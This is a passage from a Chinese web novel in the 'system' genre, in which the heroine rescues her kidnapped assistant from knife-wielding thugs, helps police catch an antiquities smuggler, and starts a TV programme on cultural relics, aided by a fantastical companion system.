她拿起电话,拨了他宿舍楼下的传达室电话,大爷说早上七点多就看到刘巍背着书包出去了。 【宿主,刘巍的定位信号中断了。最后一次定位是今天早上七点四十二分,在学校附近的巷口。】 时墨的心猛地一沉。 就在这时,院门被人“砰砰砰”地拍得震天响。 时墨走过去开门,门外站着一个穿深色外套的中年普通人,男人把一个信封递给她,转身就走。 “等等。”时墨叫住他,“谁让你来的?” “我不认识,就刚才,路口有个戴帽子口罩的人给我了一百块钱,让我转交给这家人。”男人说完走了。 时墨关上门,把信封拆开。 里面是一张照片,刘巍被绑在一把椅子上,眼睛被黑布蒙着,嘴角有血渍。照片背后用圆珠笔写着一行字: “想要他活命,下午三点,拿残卷来换。地点东郊废弃化肥厂仓库。别报警,别带人,否则撕票。” 时墨攥着照片,手指因愤怒控制不止微微抖动。 她早就料到姜云森会对她身边的人下手,但她以为他会选谢时昀或赵海霖这些亲近的人,没想到他竟然挑中了刘巍。 一个最无辜、最不该被卷进来的人。 【宿主!我已经锁定刘巍的位置了!就在东郊废弃化肥厂仓库!对方三个人,都带着刀!】 时墨,强迫自己冷静下来。她走到书桌前,拿起电话,拨了谢时昀的号码。 “墨墨?怎么了?”谢时昀的声音带着笑意。 “刘巍被姜云森绑架了。”时墨的声音冷静得可怕,“他要我拿残卷去换,地点在东郊废弃化肥厂仓库。” 电话那头沉默了两秒,随即传来谢时昀急促的声音:“你别乱动!我马上带人过去!” “不用过来。”时墨继续安排道:“你带两个人,从仓库东侧绕过去,不要惊动他们。我先进去,你们见机行事。” “不行!太危险了!”谢时昀急了,“姜云森心狠手辣,你一个人进去,他的人会伤害你的!” “我必须去。”时墨的语气不容置疑,“刘巍是因为我才被绑架的,我不能丢下他。放心,我有准备。” 时墨挂了电话,拿起桌上的车钥匙。 【宿主,你不能一个人去!太危险了!】 【放心,我不会出事的。小七,帮我做一件事。】 【你说。】 【帮我留意刘巍的生命体征,有异样立刻告诉我。】 【好的。】 东郊废弃仓库。 刘巍被绑在一把生锈的铁椅上,眼睛被蒙着,嘴里塞着一团脏兮兮的布。他的嘴角裂了个口子,血已经干涸了,太阳穴突突地疼。 他不知道自己被关了多久,时间在这里变得模糊,唯一清晰的只有恐惧,和嘴里的血腥味。 抓他的人有三个,说话带着浓重的外地口音,偶尔骂骂咧咧地走过来,踢他一脚,问他知不知道什么残卷的下落。 他说不知道,那些人就不信,又打他一顿。 后来他也不说话了,反正说不说都是打。 他在黑暗中蜷缩着身体,听到他们说到时墨,立刻警醒起来,怕时墨真因为他过来。 那些人抓他,是为了时墨手里的东西,他不值钱,他只是一个棋子而已。万一时墨真的来了,那就是为了救他而跳进陷阱。 如果这次能活着回去,他想,他一定要把她交代的每一件事都做得更好。 哪怕只能站在她身后,默默地走完这段路,也够了。 仓库外,一辆黑色轿车缓缓停在远处。 时墨从车里走出来,穿着一件牛仔衣,腰间别着一个小巧的录音设备。 她看了一眼不远处破败的仓库,拨通了系统那里得来的姜云森电话。 电话响了两声,通了。 “姜总,是我,时墨。” 电话那头沉默了片刻,传来一个阴冷的笑声:“时墨,我小瞧了你,竟然有了我的电话。” 时墨冷静道:“残卷我可以给你,但我要先见到刘巍的人。” “你没有讨价还价的资格。”姜云森的声音冷下来,“先交残卷,再看人。” 时墨沉默了一瞬。 “姜总,有件事我必须告诉你。” “什么?” “残页我已经交给国家了。”时墨语气平静,“你可以去文物局查,所有人都知道,我手里没有你要的东西。” 电话那头,传来物体碎裂的声响。 “时墨!”姜云森的声音里满是暴怒,“你耍我?” “我没有耍你。”时墨故意道,“我拍残卷,本来就不是为了私藏。你要是早说你想要,我可以卖给你啊。但你偏偏选了最下作的方式。” 电话那头传来粗重的呼吸声,良久,姜云森阴森森的声音重新响起。 “残卷在哪,我不关心。见不到东西,你的那个小助理,就别想活着走出去。” 电话断了。 时墨抬头看向远处仓库,破败的铁门紧闭,窗户被从里面封死,看不清里面的情况。 【宿主,谢时昀已经带人到了东侧三百米处,伊恩的人从西侧接近。你确定要现在进去?太危险了。】 【来个李先生一小时体验卡,再来个防子弹保护。这次我可不会忘记买恢复药剂。】 时墨勾起嘴角一步步向仓库走近。 第94章 仓库里弥漫着呛人的烟味和铁锈味, 三个男人围坐在倒扣的油漆桶上打牌,地上的烟头堆了一地,有些还在冒着青烟。 “大哥, 那娘们儿真会来?别是耍咱们吧?”刀疤脸把手里的牌“啪”地甩在桶上, 叼着烟蒂啐了一口, “都等仨钟头了, 连个人影都没见着。这破地方蚊子比人还多,我胳膊上都咬成筛子了。” 坤哥没搭理他,慢悠悠地摸出一根烟,用打火机点了三次才点着。他深吸一口,烟雾从他鼻孔里喷出来, 在昏黄的灯光下像一团化不开的雾。 “姜总说时墨最重情义, 肯定会来。”坤哥是姜云森手下的老人了,跟了他七八年, 什么脏活累活都干过。他弹了弹烟灰, 瞥了一眼角落里被绑在椅子上的刘巍,眯着眼睛道, “再说了, 她的助理还在咱们手上, 她能不来?” 刘巍的嘴被破布塞着, 眼睛蒙了黑布, 手腕被麻绳勒得生疼。他听到这句话,拼命摇头,喉咙里发出“呜呜”的声音。 “吵什么吵!”光头走过去, 抬手朝他后脑勺扇了一巴掌,“再闹把你牙敲了!” 刘巍闷哼一声,脑袋嗡嗡作响, 嘴里涌出一股血腥味。他低垂着头,心里只有一个念头:别来,时墨,千万别来…… 话音刚落,外面传来了清晰的脚步声,踩在碎石子路上,沙沙作响,由远及近。 两个手下立刻站了起来,手不自觉地摸向腰间的匕首。刀疤脸“噌”地抽出弹簧刀,刀刃在闪着危险的冷光。 “都别慌。”坤哥不紧不慢地站起身,嘴角挂着一丝冷笑,“她既然敢来,那就让她进来。我倒要看看,这个让姜总头疼了大半年的丫头片子,长了几个脑袋。” 他看了刀疤脸一眼:“去,把那小子的眼睛蒙严实了,别让他看到不该看的。” 刀疤脸点点头,快步走到刘巍身边,把已经被汗水浸透的黑布又狠狠勒紧了一圈。 刘巍被勒得闷哼一声,嘴里塞着的布条让他发不出声音。绳子勒进手腕的肉里,又疼又麻,可他根本顾不上这些。 “老实点!敢乱喊,不然老子先废了你!”刀疤脸拍了拍他的脸,力道不重却带着羞辱的意味。 刘巍拼命挣扎,铁椅咯吱咯吱地响。他听到外面的脚步声越来越近,心脏像是被一只无形的手攥住,疼得喘不过气来。 别来,时墨,别来。 他宁愿自己被打死,也不想让她为了自己陷入危险。 “哐当”一声,仓库的大铁门被人从外面推开。 阳光顺着门缝涌进来,像一把金色的刀,劈开了仓库里浑浊的黑暗。光跟着时墨一起涌了进来,她站在门口,逆着光,看不出脸上的表情。 “时墨,你还真敢一个人来。”坤哥上下打量着她,眼神在她身上转了一圈,带着毫不掩饰的轻蔑,“果然是为了这个小白脸,连命都不要了?我听说你挺精明的一个人,怎么今天犯起糊涂来了?” 刘巍听到她的声音,挣扎得更厉害了,椅子“嘎吱嘎吱”地响,喉咙里发出“呜呜”的嘶吼,拼命摇头。他想喊:走啊!别管我!可嘴里的布塞得太紧,只能发出含混不清的声响。 时墨的目光掠过他身上的伤痕,眼神冷了几分,看向坤哥:“人,我今天一定要带走。至于残页,我已经捐给国家了,你们想要,去文物局要。” “捐了?”坤哥像是听到了天大的笑话,哈哈大笑起来,笑声在空旷的仓库里回荡,笑完之后脸色猛地一沉,“时墨,你当我是三岁小孩儿好糊弄?那卷残页值多少钱你比我清楚,你会捐?” “信不信由你。” “少废话!”坤哥脸色一沉,弹簧刀“唰”地弹出刀刃,在昏暗的光线里折射出一道冷光,“把残页交出来,我放你们走。不然,今天你们俩都得死在这儿!” “我说了,没有。”时墨淡淡道,往前走了两步,鞋底踩在水泥地上发出沉闷的声响。 “找死!”坤哥眼神一狠,握紧刀柄就朝刘巍走去,“既然你不肯交,那我就先废了这个小白脸,看你交不交!” 他说着就朝刘巍走去,步子迈得很大,手里的刀举得高高的,故意要让时墨看清楚。 就在刀尖距离刘巍还有三步远的时候,时墨动了。 她的动作快得像一道闪电,几乎是原地消失。坤哥甚至没看清她是怎么出手的,只觉得眼前一花,还没来得及反应,手腕就被一只冰冷的手攥住。 那只手看起来细皮嫩肉的,力道却大得吓人,骨头像是要被捏碎一样疼。 “啊——” 弹簧刀“当啷”一声掉在地上。紧接着,坤哥整个人被一股巨大的力量掀翻,后脑勺重重磕在水泥地上,眼前一黑,差点当场晕过去。 刀疤脸和光头愣了不到半秒,随即怒吼着举着匕首冲了上来。刀疤脸嘴里骂着脏话,手里的匕首直刺时墨腹部。 时墨侧身躲过他的劈砍,身体像是提前预判了他的轨迹,轻松得像是在散步。右手顺势扣住刀疤脸的手腕,向内猛地一翻。 “咔嚓——” 骨裂的脆响在仓库里格外清晰。刀疤脸惨着跪倒在地,匕首脱手落地。时墨抬脚踹在他胸口,一百六十斤的壮汉像个破麻袋一样飞了出去,重重撞在墙上,滑下来的时候带下一片墙灰。 光头举着刀从背后扑来,手里的匕首直刺时墨后心。这家伙是三人里最壮实的,一米八几的个头,胳膊比时墨大腿还粗。 时墨头也不回,像是脑后长了眼睛。身体微微一侧,刀尖擦着她的衣角刺空了。她顺势手肘狠狠撞在光头的肋骨上,又是“咔嚓”几声脆响。 光头捂着肚子蜷缩在地上,疼得直打滚,嘴里发出杀猪般的嚎叫。 从动手到结束,不到三十秒。 仓库里安静得只剩下三个男人此起彼伏的呻吟声。 “我还以为你们会有枪呢,看来是我错估了你们的实力。”时墨拍了拍衣角的灰尘,用鞋尖踢了踢还在抽搐的坤哥,居高临下地看着他,“姜云森在哪?” 坤哥疼得龇牙咧嘴,额头的冷汗混着灰尘往下淌,却硬着脖子不肯服软:“不、不知道!姜总不会放过你的!” 时墨没再问,这种人问不出什么。 她转身走到刘巍面前,蹲下身,小心翼翼地伸手扯下蒙在他眼睛上的黑布,又慢慢抽出他嘴里的布条,生怕弄疼了他。 光线突然刺进来,刘巍眯了眯眼,适应了好一会儿才看清眼前的人。 时墨的脸上沾了一层薄薄的灰,额前的碎发被汗水打湿,贴在额头上,眼神却依旧清亮。她全身上下没有一点伤,只有牛仔衣的袖口蹭破了一点,露出一小截白皙的手腕。 刘巍悬着的心终于落了地。 他刚才在黑暗里,只听到一阵打斗声和惨叫声,金属落地的声响,骨头断裂的声响,还有男人痛苦的嚎叫。他心里急得像火烧,以为时墨出事了,脑子里闪过无数可怕的画面……没想到她竟然这么厉害,三两下就解决了三个持刀的壮汉。 “时墨。”他的声音沙哑得不成样子,眼眶一下子就红了,“对不起,都是我不好,给你添麻烦了。我不该……” “别说傻话。”时墨打断他,伸手去解他身上的绳子,“你是因为我才被绑的,我当然要来。” 麻绳勒得太紧,在他手腕上勒出了深深的血痕,有些地方已经破了皮,渗出血珠。时墨皱了皱眉,从口袋里掏出干净的手帕,轻轻缠在他的手腕上,生怕碰疼他。 时墨头也没抬,再次说道,“别多想,回去好好养着,工资照发,医药费全算我的。” 刘巍张了张嘴,想说点什么,可嗓子像是被东西堵住了,一个字都说不出来。 她的指尖很凉,触碰到他皮肤的瞬间,刘巍浑身一颤,脸颊瞬间涨得通红。他赶紧低下头,不敢看她的眼睛,心脏“砰砰”跳得像要炸开。 绳子脱落的瞬间,刘巍整个人软了下来,浑身酸麻得不像自己的。时墨眼疾手快,一把扶住了他的胳膊,稳稳地架住了他。 “慢点,缓一会儿。”时墨轻声安慰着。 刘巍靠在她肩上,闻到她身上淡淡的洗衣粉混着一点灰尘的味道,心脏“砰砰”跳得像要炸开,脸一下子红到了耳根。他赶紧侧过脸,不敢看她的眼睛,生怕她发现什么。 “我没事,一点都不疼。”刘巍努力挤出一个笑容,尽管嘴角的伤口疼得他直抽气,“你没事就好。” 就在这时,仓库的大门被猛地踹开。 谢时昀带着人冲了进来,手里还拿着一根钢管,脸上满是焦急,平时熨得笔挺的衬衫此刻皱皱巴巴,领口敞开着,额头上全是汗。 当他看到站在中间安然无恙的时墨时,手里的钢管“哐当”一声掉在地上,在空旷的仓库里发出刺耳的金属回响。 他快步跑过去,上下打量着时墨,手悬在半空,想碰又不敢碰,声音都在发抖:“墨墨,你没事吧?有没有受伤?吓死我了!” 他的额头全是冷汗,衬衫被汗水浸得透湿,头发乱糟糟的,有几缕贴在额头上,和他平时那副沉稳从容的样子判若两人,显然是一路狂奔过来的。刚才在路上,他脑子里全是时墨受伤的画面,心脏都快跳出来了。 “我没事。”时墨摇了摇头,用下巴指了指地上那三个还在哼哼唧唧的绑匪,“都解决了。” 谢时昀这才注意到地上哀嚎的绑匪,眼底的情绪翻涌了几下,他转过身,对着手下沉声道:“把这三个人捆好了,嘴里塞上东西别让他们乱喊。等警察来之前,谁也不许靠近。另外,把现场清理干净,别留下不该留的东西。” 他做事向来缜密,不愿让时墨再看到这些肮脏的场面,更不想给她惹上任何麻烦。 他对身后的人吩咐完,转过身,目光落在刘巍身上,“小刘,你也受苦了。” 刘巍摇了摇头,没说话。 手下人利索地行动起来,几个人按住地上的绑匪,用绳子反绑了手脚,又扯了布条塞住嘴。谢时昀的司机老赵从车上拿来一条毛毯,递给谢时昀。 谢时昀接过毛毯,抖开披在刘巍肩上,顺势从时墨手里接过刘巍,老赵颇有眼力见的立刻上前架住。 “先送医院。”谢时昀对老赵说,又看了刘巍一眼,“能走吗?” 刘巍点了点头,没说话。 救护车是谢时昀在路上就叫好的,此刻正好赶到。随车的医生给刘巍做了初步检查,发现他除了身上多处软组织挫伤,还有轻微脑震荡,必须去医院做详细检查。 刘巍被扶上救护车的时候,扒着车门回头看了一眼。 时墨正和谢时昀并肩站在一起,谢时昀微微低着头,认真地听着时墨说话,手插在裤兜里,姿态放松。时墨仰着脸,嘴唇翕动,不知道在说什么。谢时昀忽然笑了一下,眼神温柔得能滴出水来,像是这个世界上只剩下她一个人。 两个人站在一起,有一种旁人无法插足的默契。 刘巍的眼神暗了暗,默默收回了目光,摸了摸手腕上时墨刚才给他系上缠着的那条手帕。 救护车的门关上了,呜哇呜哇的警报声渐渐远去。 时墨到家的时候,已经过了晌午。 院子里的石榴树结了满树的青果,沉甸甸地压弯了枝头,再过一两个月就该红了。玄青趴在树荫下吐着舌头,看到她回来,立刻爬起来,摇着尾巴跑过来蹭她的腿,喉咙里发出“呜呜”的撒娇声。 时墨蹲下来揉了揉它的脑袋,一直绷着的那根弦这才慢慢松了下来。 电话突然响了。 “墨墨!成了!残卷破解了!”宋正先的声音在电话里激动得发抖,带着一种一种压抑不住的狂喜,“就在西郊皇庄的废弃防空洞里!当年梅先生他们把国宝藏在那儿了!那个防空洞建在皇庄的山体里,当年是军事设施,后来废弃了,图纸早就丢了。我们按照残卷上的方位和坐标,用探地雷达一照,下面果然有东西!考古队已经准备好了,明天一早就过去勘探!” 时墨心里一喜:“太好了,师父!” “还有一件事。”宋正先的声音忽然压低了,带着几分凝重,“我这边派去盯梢的人说,姜云森身边的一个心腹,今天下午突然从香江飞到了京市。他这个时候过来,恐怕是得到了消息。” 时墨的眼神一凛,手指无意识地扣着手机:“我知道了,师父。您放心,我会处理好的,您早点休息,明天还要带队进防空洞呢。” 挂了电话,时墨靠在沙发上,指节交叉,陷入了沉思。 姜云森,你终于坐不住了。残卷破解的消息是今天才确认的,下午就安排人从香江飞过来,说明考古队里一定有内鬼。 【小七,查一下那个心腹的行踪。】 【明白宿主。目标叫阿杰,现住东三环王府酒店,总统套房,身边跟着三个保镖,都是退伍军人出身,身手不弱。他刚才给文物局的小王打了电话,约了晚上七点在酒店楼下的茶餐厅见面。通话时长一分三十二秒,他们在确认今晚库房值班人员的情况。】 时墨嘴角勾起一抹冷笑。果然,内鬼是文物局库房的管理员小王。那个戴眼镜、白白净净、见谁都笑眯眯的年轻人,来文物局三年了,一直不显山不露水,没想到竟然是姜云森安插的钉子。 第二天傍晚,考古队的消息就传了出来。 消息先在文物局内部小范围传开,然后像是长了翅膀一样,飞遍了整个京城收藏圈。 “那个防空洞一共有三个洞室,里面堆得满满当当!” “听说有官窑瓷器、金银器,还有一批字画,保存得相当完好,有些连包装的油纸都没烂透!” “《永乐大典》里记载的是真的!那批国宝真的存在!当年梅先生他们冒着生命危险藏起来的,这下终于重见天日了!” 时墨接到宋正先电话的时候,正在院子里摘黄瓜。 “墨墨,皇庄那边挖出来的东西,比我们想象的还要多!瓷器就有上百件,件件都是官窑精品!还有十几幅字画,全是名家真迹!这在整个考古史上都是数得着的大发现!” 时墨听着电话那头师父激动的声音,弯起嘴角:“恭喜师父,这辈子的心愿终于了了。” “哈哈,可不是!”宋正先笑着,笑声里带着一丝感慨,“我跟这些老物件打了一辈子交道,没想到临退休了还能碰上这么大的发现,值了,值了。” 宋正先笑了一阵,忽然压低声音,“对了,墨墨,你之前跟我说要注意库房那边的人,我让老周盯着小王。今天下午,小王接了个电话后就鬼鬼祟祟的,在库房里拿了个小本子写写画画,然后装进信封塞在门卫室窗台的花盆底下。老周把信封拿给我看了,上面写的是库房守备值班表,还有最近一周的巡逻时间。” 时墨思索了下,声音冷静:“小王现在人在哪儿?” “老周盯着呢,还在库房。墨墨,要不要直接把他控制起来?” “先别打草惊蛇。师父,您让他把消息传出去,我们来个瓮中捉鳖。” 姜云森坐在香江半山别墅的书房里,面前是一整面落地窗,窗外维多利亚港的夜景流光溢彩,可他根本没心思欣赏。他手里拿着小王从京市传回来的密报:皇庄遗址已确认,官窑瓷器上百件,字画若干,预计三日内全部起运至文物局库房。 他把密报反反复复看了三遍,确认每一个字都没有看错,然后扔进火盆,看着火焰把纸页舔成灰烬,然后拨了一个号码。 “订明天最早一班到京市的机票。” 电话那头明显愣了一下:“先生,您亲自去?” “我不去,谁能把东西弄出来?”姜云森的声音阴沉沉道,“那个姓时的丫头片子,不是省油的灯。我在京市折腾了大半年,赔了钱,折了人,连她一根头发都没伤到。再不动手,等东西全进了文物局库房,我就真的什么都没了。” “可是先生,那边太危险了,最近风声很紧……” “危险?干我们这行的,什么时候不危险?”姜云森冷笑一声,“富贵险中求!这批国宝值几个亿!错过了这次,我这辈子都没机会了!时墨这次我一定要让她死无葬身之地!” 他挂了电话,从书房保险柜的夹层里拿出一把勃朗宁手枪,退出弹夹检查了一下,七发子弹装得满满当当。他又拉了一下套筒,确认枪械状态正常,然后把枪放在桌上,盯着它看了好一会儿。 这次,他不会再失手。 时墨是第二天早上接到小七的通知的。 【宿主,姜云森今天上午十点乘坐港龙航空KA900航班飞抵京市,入住王府酒店顶层套房。他带了八个人,其中五个是退伍特种兵,两人是文物鉴定专家,还有一个是他的私人助理,叫阿威,曾拿过泰拳金腰带,跟了他五年了。他们手里都有枪!】 时墨坐在院子里吃西瓜,听小七这么说,手里的勺子顿了一下。 “八个人,阵仗不小。”她把勺子插回西瓜里,擦了擦手,“看来这次是铁了心要把东西弄到手。” 【宿主,要不要提前通知李队长?】 【不用你通知。】时墨吐出西瓜籽,【他要动手,总得等到晚上。白天人多眼杂,不安全。再说,考古队那边还有他安插的小王,他肯定会先联系小王,摸清楚库房的守备情况,再决定从哪儿下手。】 她拿起电话,拨了谢时昀的号码:“谢哥,姜云森到京市了。” “我知道了。”谢时昀的语气瞬间变得严肃起来,背景音里有纸张翻动的声音和人的说话声,他应该是正开着会,“李队长那边我去通知,让他们加派人手。晚上我亲自过去。” “别惊动他。”时墨嘱咐道,“让他以为一切都在他的掌控之中,等他动手的时候,再收网。” 谢时昀低低地笑了一声,笑声里带着一丝宠溺:“明白了,放长线钓大鱼。墨墨,晚上你跟我一起?还是你在外围等着?” “我在车里等着。” “好,穿厚一点,后半夜凉。” 当天晚上,京市文物局库房周围,看似一切如常。 路灯昏黄,偶尔有巡逻的保安经过,手里拿着手电筒,照一照就过去了。库房门口的传达室里,值班的老大爷正在看电视剧,雪花点很多,却依旧看得津津有味。 时墨知道,今夜不会太平。 姜云森的人埋伏在库房北侧的一条暗巷里,一共六个人,全副武装,安静、耐心地等着时机。 时墨坐在谢时昀的车里,停在距离库房两百米外的一个路口。车窗开了一条缝,夜风灌进来,带着初秋的凉意。 谢时昀看着时墨的侧脸,月光透过车窗洒在她脸上,勾勒出柔和的轮廓:“怕不怕?” “怕什么?”时墨看着车窗外黑漆漆的街道,路灯把一切都照得朦朦胧胧的,“我倒是怕他不来。” 谢时昀笑了笑,把手边的保温杯递给她:“喝口水,暖暖。我妈下午煮的红枣桂圆茶,我出门前灌了一壶。” 时墨接过杯子,杯壁上还残留着他掌心的温度。她拧开盖子喝了一口,甜丝丝的,暖意顺着喉咙一直蔓延到胃里。 凌晨一点四十七分。 【宿主,姜云森到 了!黑色皇冠轿车,车牌号京C·XXXXX,停在库房北侧巷口。车上三人,姜云森在后座。前面巷子里埋伏的五个人已经开始移动了!】 时墨放下保温杯,伸手拍了拍谢时昀的胳膊。 “来了。” 谢时昀没说话,拿起对讲机,低声说了一句:“目标已出现。” 接下来的一切,快得像一场梦。 姜云森的人翻墙进入库房大院,技术娴熟的快速打开了库房的防盗门。他们显然早有准备,连库房里哪几个柜子放着什么东西都一清二楚。 他们直奔目标,动作迅速又安静,不到十分钟,就搬出了好几箱文物。 就在他们准备撤离的时候,库房大院的灯突然全亮了,把整座大院照得如同白昼。 “不许动!警察!把手举起来!” 几十个荷枪实弹的警察从四面八方涌出来,脚步声轰隆作响,手电光束交错扫射,把整座大院围得水泄不通。 姜云森的人懵了。 他们没想到消息会泄露,更没想到警察来得这么快、这么准,像是早就知道他们要来似的,提前蹲守在这里,连撤退的路线都被堵得死死的。 有人反应过来想掏枪反抗,被特警一枪打中手腕,惨叫着倒在地上。 巷口那辆黑色皇冠轿车里,姜云森的脸色铁青。他猛地脚踩油门开车想跑,却发现前后左右都被堵死了。 他怎么也没想到,自己精心策划的行动,竟然会以这种方式收场。 谢时昀的人不知道什么时候已经封住了巷口的两端,两辆大货车并排停着,把路堵得严严实实。 姜云森被两个警察拽出轿车按住的时候,脸色惨白如纸,他猛地回头,看到站在灯光下的时墨,她站在库房大院的门口,双臂交叉抱在胸前,神情淡漠地看着他,像在看一只被夹住的耗子。 “姜云森,你走私文物,杀人放火,今天就是你的末日。”时墨冷冷地说。 “时墨!又是你!”姜云森嘶吼着,声音里满是怨毒和不可置信,脸涨得通红,“你算计我!你从一开始就算计我!” 人赃并获,铁证如山。 警方当场缴获了文物八箱,共计六十余件,还没运出库房就被截住了。姜云森的车里搜出了一把勃朗宁手枪、两个弹夹、十五发子弹。 姜云森看着被警察押走的手下,又看了看站在不远处的时墨,终于瘫软下来,像一摊烂泥一样被警察架着塞进了警车。 姜云森文物走私团伙的案件连夜开始审理,一条条罪状被撬出来,越审越让人心惊。 走私文物数额巨大。光是香江仓库里囤积的还没出手的文物,估值就超过了数千万。经他手倒卖到海外的国宝级文物,多达上百件,有些已经进了大英博物馆和纽约大都会的展柜,再也追不回来了。 更令人震惊的是,警方还查出了多起与姜云森有关的命案。孙教授的死,终于水落石出。包括三年前河南一起文物盗掘案中失踪的两名考古队员,遗体后来在鄱阳湖边的一个废弃砖窑里找到了,白骨都露了出来。 名单上,他贿赂公职的人员,从香江一直延伸到内地,涉及多个部门。 三天后,新闻联播用了三分钟报道了这起特大文物走私案。 “近日,京市公安机关成功破获一起特大文物走私案,抓获以姜某为首的犯罪团伙成员二十余人,查获各类文物上千件,涉案金额高达数千万元。该团伙长期从事文物走私活动,罪行涉及多省市……” 消息播出的那几天,整个京城都在议论这件事。有人拍手称快,有人唏嘘不已,也有人对时墨这个年轻的姑娘刮目相看。 “你知道吗,就是那个写书的时墨,她配合警察破的案!” “真的假的?她不是个作家吗?” “作家怎么了?人家还是文物专家呢!听说她一个人赤手空拳撂倒了三个持刀绑匪!” “啧,这姑娘了不得。” 姜云森最终被判处死刑,他的团伙成员也分别被判处无期徒刑和有期徒刑。宣判那天,时墨没去法院,她在院子里边浇花,边听小七直播了庭审的每一个细节。 【宿主,姜云森被带走的时候回头看了旁听席一眼,好像在找你。】 【哦。】 【宿主,你要回看他最后的表情吗?】 【不想,他从此跟我没关系了。】 【宿主,系统发放奖励如下:五万能量币,金钱限额放宽至单笔一百万。另外,主系统对你的风控等级已从‘高度关注’下调至‘正常关注’。主系统说,你这次的表现有点出乎他们的意料。】 【就这些?】时墨挑了挑眉,【我可是帮国家追回了上千件国宝,连个表扬都没有?】 【主系统说这是你的本分工作,不予额外奖励。但小七偷偷帮你申请了一个隐藏成就“护宝人”,解锁后可低价购买文物修复类道具。】小七的声音里带着一点得意。 时墨忍不住笑了:【行吧,聊胜于无。】 国家文物局还是给了她一个“文物保护突出贡献奖”,外加五十万元奖金。奖金她转头就捐给了宋正先的古籍保护基金,连信封都没拆。 宋正先收到汇款单的时候,专门打了个电话过来:“墨墨,你这孩子……你自己也要用钱啊。” “师父,我不缺钱。”时墨说,“这钱给基金,比我留着有用。” 电话那头沉默了几秒后,传来宋正先一声长长的叹息:“你这孩子,比我一个老头子还惦记着这事。我这辈子,没白收你这个徒弟。” 姜云森案的曝光,让全社会第一次意识到了文物流失的严重性。那段时间,报纸上、电视上全是关于文物保护的讨论,连街边下棋的老大爷都能聊上几句“国宝回来了”。 时墨趁热打铁,给央视文艺部的钱主任打了个电话,约了时间直接过去。 “钱主任,我想跟台里合作做一档文物节目,叫《国宝寻踪》。”时墨把策划案递给他,“节目分三个板块:鉴宝、寻宝、文物修复。我们请全国最顶尖的专家,免费给老百姓鉴定家里的老物件,讲述文物背后的故事,呼吁大家保护文物。” 钱主任翻着策划案,眼睛越来越亮。 “好!这个想法太好了!”他一拍桌子,“现在老百姓对文物了解太少了,很多好东西都被糟蹋了。这档节目要是做出来,肯定火!台里全力支持你!” 《国宝寻踪》的策划方案只用了一周就通过了。 一个月后,《国宝寻踪》正式在央视一套黄金档播出。 节目形式很简单:每期请几位藏家带着各自的藏品到现场,由文物专家现场鉴定真伪和价值,同时穿插文物背后的历史故事和寻宝过程中的趣闻轶事。每期最后还会公布一条流失文物的线索,号召全社会帮忙寻找。 节目播出后,立刻引起了轰动。收视率一路飙升,从最初的不到两点冲到最高八点几,成了全国最火的综艺节目,连春晚剧组都来谈合作。 每到周六晚上八点,家家户户的电视机都锁定在央视一套,第二天大家凑在一起,热烈地讨论昨天又鉴出了什么宝贝。 “你看了没?昨天那个老太太拿的那个碗,竟然是明成化的官窑!专家说值百万!” “看了看了!那老太太当场就哭了,说祖上传了五代人,差点被儿媳妇当破烂扔掉!” “唉,我怎么就没这样的祖传宝贝呢?我爷爷那辈儿也是大户人家啊。” 时墨作为节目的策划和常驻专家,每期都会出现。她穿着素雅的旗袍,温文尔雅,说话不急不慢,讲解文物的时候引经据典信手拈来,深入浅出,深受观众喜爱。 有不少人专门为了看她,守在电视机前。 借着节目的人气和影响力,时墨发起了“国宝回家”民间征集活动。 老百姓手里如果有疑似文物的东西,可以送到节目组来,由专家免费鉴定。如果鉴定是真品,节目组会协助捐赠给博物馆,或者帮助藏家联系正规的拍卖渠道。 消息一出,报名的电话被打爆了。节目组临时租了一个大仓库做接待点,每天来排队的人从门口一直排到马路对面,有拎着麻袋的,有抱着木箱的,有推着自行车后座绑着一个大包袱的。 最远的一个人从新疆坐了三天三夜的火车赶过来,手里捧着一个油纸包着的小瓷碗,说是在老家挖地基时挖出来的,专家一看,好家伙,唐代的邢窑白瓷。 短短三个月,节目组鉴定了上万件藏品,从中发现了三百多件具有重要价值的文物,其中不乏国家一级文物。 这些国宝,有的被藏家无偿捐给了博物馆,有的通过正规渠道被国家收购,没有一件再流失到海外。 日子一天天过去,转眼到了秋天,刘巍的伤早就好了。 经过那次绑架事件,他变得更成熟了。以前他身上还有几分学生的稚气,现在完全褪去了,整个人沉稳了不少,做事也更加干练细致。 时墨只说了一句“帮我查一下永乐年间的官窑款识特征”,第二天早上,一本厚厚的手抄资料就出现在她桌上,里面密密麻麻地标注了出处和页码,字迹工整得像是印刷出来的。 刘巍不只是在完成时墨交代的任务,他还学会了主动思考。 时墨写新书的时候,他会提前把相关的历史资料整理好,分门别类,还贴心地做了索引,甚至把参考书目按重要程度标了星级。 时墨要做文物鉴定,他会提前把藏品的来龙去脉搞清楚,甚至连藏家的背景都查得一清二楚。时墨出差去外地看项目,他会把行程安排妥当,连天气预报和当地美食都备注在行程单的末尾。 时墨发现刘巍身上的气质越发锋芒内敛。 他不争不抢,不卑不亢,安安静静地做好每一件小事,像个不起眼的螺丝钉,拧在哪里都严丝合缝。 她把很多重要的工作都交给了他,包括《国宝寻踪》节目组的文物筛选,包括墨昀地产的古建修复项目资料整理,甚至包括她私人藏品的登记造册。 转眼到了大学毕业季。 第95章 这天, 时墨正在看《国宝寻踪》第二季的策划案,刘巍敲门走了进来。 “时墨,这是你要的宋代官窑资料。”他把一叠厚厚的资料放在桌上。 “辛苦了。”时墨抬头看他, “毕业了, 你有什么打算?” 刘巍站在她对面, 沉默了几秒, 手放在身后攥紧,指节因为用力而微微发白。然后说了一句让时墨意外的话:“我想留在你身边,跟着你干。” 时墨放下手里的笔,看着他,眼睛亮的像是要看透他的心思。 “你想好了?你学的专业是国际经济与贸易, 去外贸公司、金融机构或者银行, 发展前景都不错。你的成绩是全系第一,好多公司都在抢你, 我听说有个外资银行开了年薪二十万挖你去做管培生。” “我想好了。”刘巍抬起头, 眼神坚定地看着她,没有一丝犹豫, “去哪里都不如跟着你。” 时墨点点头, 手指在桌面上轻轻敲了两下:“行, 那你就先跟着我。不过有件事我得跟你说清楚。” “你说。” “我这儿不会是你一辈子的事业。”时墨的表情认真起来, 语气罕见地郑重, “你跟着我学两年,把本事练好了,想自己创业也好, 想去更大的平台也好,我都支持。你在我这儿锻炼几年,出去之后有的是机会。我不会拦着你。” 刘巍低下头, 喉结上下滚动了一下,像是在咽下什么话。屋里很静,只有墙上老式挂钟“滴答滴答”的声音。 “再说吧。” 时墨不知道的是,学校已经把公派留学的名额给了刘巍,伦敦政治经济学院的全奖硕士,整个经济系只有一个名额,这是无数人梦寐以求的机会。 